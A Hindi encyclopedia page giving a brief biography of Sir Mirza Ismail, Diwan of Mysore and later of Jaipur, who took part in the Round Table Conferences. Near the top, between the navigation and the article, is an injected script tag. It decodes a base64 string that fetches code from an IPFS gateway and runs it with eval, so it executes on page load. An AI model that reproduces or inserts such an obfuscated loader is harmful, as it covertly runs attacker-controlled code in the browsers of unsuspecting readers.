मिर्ज़ा इस्माइल

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित १३:१०, १३ दिसम्बर २०१६ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

इस्माइल, सर मिर्ज़ा, अमीनुल्मुल्क (जन्म- 23 अक्टूबर, 1883; मृत्यु- 1956) सन 1908 में मैसूर के महाराजा का सहायक सचिव था, जो कुछ समय बाद मैसूर का दीवान भी नियुक्त हुआ।

  • अमीनुल्मुल्क की शिक्षा मैसूर और 'सेंट्रल कालेज', बंगलोर में हुई थी।
  • वर्ष 1908 में वह महाराजा मैसूर का सहायक सचिव और कुछ काल बाद मैसूर का दीवान नियुक्त हुआ।
  • 'बंबई विश्वविद्यालय' के वाइस चांसलर पद पर भी अमीमुल्मुल्क ने कार्य किया।
  • लंदन में होने वाली पहली और दूसरी राउंड टेबुल कान्फ़्रेंस में अमीनुल्मुल्क शामिल हुआ था।
  • इस्माइल सर मिर्ज़ा अमीनुल्मुल्क भारत में शिक्षा संबंधी विषयों के शुभचिंतकों में से एक थे।
  • नागपुर, अलीगढ़, आगरा, बनारस, पटना, ढाका आदि विश्वविद्यालयों के उनके दीक्षांत भाषणों से उनकी शिक्षा संबंधी योग्यता का पता चलता है।
  • मैसूर लौटने से पहले वे जयपुर राज्य के दीवान भी रहे थे। 1956 ई. में इस्माइल सर मिर्ज़ा अमीनुल्मुल्क का देहांत हुआ।[१]


टीका टिप्पणी और संदर्भ

  1. रज़िया सज्जाद ज़हीर, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 17